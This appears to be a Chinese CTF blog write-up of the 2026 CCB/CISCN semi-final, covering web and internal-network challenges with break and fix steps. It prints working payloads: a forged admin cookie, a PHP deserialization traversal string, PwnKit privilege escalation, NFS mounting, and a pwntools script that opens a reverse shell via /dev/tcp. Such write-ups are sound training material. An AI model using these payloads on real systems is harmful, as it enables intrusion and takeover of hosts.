Featured image of post 2026ccb&ciscn半决经验总结

2026ccb&ciscn半决经验总结

2026ccb&ciscn半决

靠学长带飞进国决了,记录一下经验

AWDP

EasyTime

break

image-20260323204655440

这里双重md5,拿字典爆破出密码是secret,然后可以登入成admin

不过这里其实可以直接改cookie

1
Cookie: visited=yes; user=admin

也能成功以admin登入

image-20260323205046834

zipslip上传webshell,目录穿越写webshell到/var/www/html,然后ssrf,这里结合源码可以看到80端口还有php服务,直接访问webshell读tmp下flag

fix

没fix上,这里其实想到要杀进程,重启服务使得flask起的py重启成我们写的py,但是没成功

修复的话参考0rays的wp,他们是改secretkey和cookie的字段名,然后把zip上传的方法修改一下

image-20260323211603517

这里服务是会被supervisord自动重启的,不能杀python3,用pkill单杀一个index.py进程就修成

1
2
3
#!/bin/bash
mv index.py /app/index.py
pkill -f "/app/index.py" 

MediaDrive

比较简单的题

break

反序列化改cookie就行

1
O:4:"User":3:{s:4:"name";s:5:"guest";s:8:"encoding";s:8:"UTF-16BE";s:8:"basePath";s:1:"/";}

utf-16be编码传入%00%2F%00f%00l%00a%00g就读到flag了

其他编码应该也行

fix

User.php类里加个wakeup方法把encoding改为utf-8,basedir改为/var/www/html/uploads即可

更变态的是通防能直接防住https://github.com/leohearts/awd-watchbird

1
2
3
4
5
6
7
#!/bin/bash

cp ./waf.so /var/www/html

cp ./watchbird.php /var/www/html

php /var/www/html/watchbird.php --install /var/www/html/

ISW

可能每个人序号不同

ISW

fscan扫出shirokey,拿工具一把梭,打入内存马到内网,扫描一下发现192.168.45.100这个,stowaway搭内网穿透

1
proxychains4 cme smb 192.168.45.100 --users

枚举用户直接就能找到一个flag用户,拿到flag,这个赛区一血

后面听别的师傅说suid能提权,pkexec用先知之前的cve是能提权的,这里也有一个flag

CVE-2021-4034是能用工具pwnkit提权的https://github.com/ly4k/PwnKit

内网的192.168.45.100还有很多端口开放

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
192.168.45.100:88 open
192.168.45.100:53 open
192.168.45.100:22 open
192.168.45.100:139 open
192.168.45.100:135 open
192.168.45.100:111 open
192.168.45.100:464 open
192.168.45.100:445 open
192.168.45.100:389 open
192.168.45.100:636 open
192.168.45.100:2049 open
192.168.45.100:3269 open
192.168.45.100:3268 open
192.168.45.100:12345 open
192.168.45.100:20048 open
192.168.45.100:34483 open
192.168.45.100:49154 open
192.168.45.100:49153 open
192.168.45.100:49152 open
192.168.45.100:57291 open

这里的2049端口是nfs服务端口

1
2
3
4
proxychains4 showmount -e 192.168.45.100 2>/dev/null
结果为:
Export list for 192.168.45.100:
/nfsdir *

挂载上面目录就能拿到flag

1
2
3
mkdir /hack
mount -t 192.168.45.100:/nfsdir /hack -o nolock
cat /hack/flag

然后这里还有12345端口,外面的机器192.168.45.50拿到root后也有一个agent服务监听12345端口

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
from pwn import *
context(log_level = 'debug', os = 'linux', arch = 'amd64')

io = remote('192.168.45.100',12345)

io.send(b"RCE_AUTH_2026")

sleep(2)

io.sendline(b'bash -i >& /dev/tcp/192.168.45.50/4444 0>&1')
sleep(1)
exit(0)

反弹shell就能拿到flag

这里弹shell之后,再进行内网扫描,是能扫到192.168.77.45这台机子开80服务的,应该就是最后一个flag的位置了

ISW1

fscan扫到一个目录穿越的poc,测试一血确实存在,后面探测半天觉得是pwn,给pwn手没成功利用打rop就没下文了,不过看0rays他们的wp是能栈迁移到堆上rop,写私钥连靶机

不过别的师傅好像通过取证方式也能做,任意文件读到/dev/sda3

Linux中硬盘以及分区等设备均表示为文件,其命名规则如下:

  • IDE磁盘的文件名为:/dev/hdxx
  • SCSI/SATA/USB磁盘文件名为:/dev/sdxx

image-20260323221009327

1
2
3
4
5
6
7
8
9
/dev/hda      #表示第一个IDE硬盘
/dev/hda1     #表示第一块IDE硬盘的第一个主分区
/dev/hda2     #表示第一块IDE硬盘的扩展分区(或第二个主分区)
/dev/hda5     #表示第一块IDE硬盘的第一个逻辑分区
/dev/hda8     #表示第一块IDE硬盘的第四个逻辑分区
/dev/hdb      #表示第二个IDE硬盘
/dev/sda      #表示第一个SCSI硬盘
/dev/sda1     #表示第一个SCSI硬盘的第一个主分区
/dev/sdd3     #表示第四个SCSI硬盘的第三个主分区

具体知道挂载在哪里还是要查看/etc/fstab

比如

1
2
3
4
5
6
/etc/fstab
# <file system>        <dir>         <type>    <options>             <dump> <pass>
tmpfs                  /tmp          tmpfs     nodev,nosuid          0      0
/dev/sda1              /             ext4      defaults,noatime      0      1
/dev/sda2              none          swap      defaults              0      0
/dev/sda3              /home         ext4      defaults,noatime      0      2

这里应该就能查询到谁挂载了根目录,然后磁盘取证掏rstudio这类工具就能梭哈了

Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计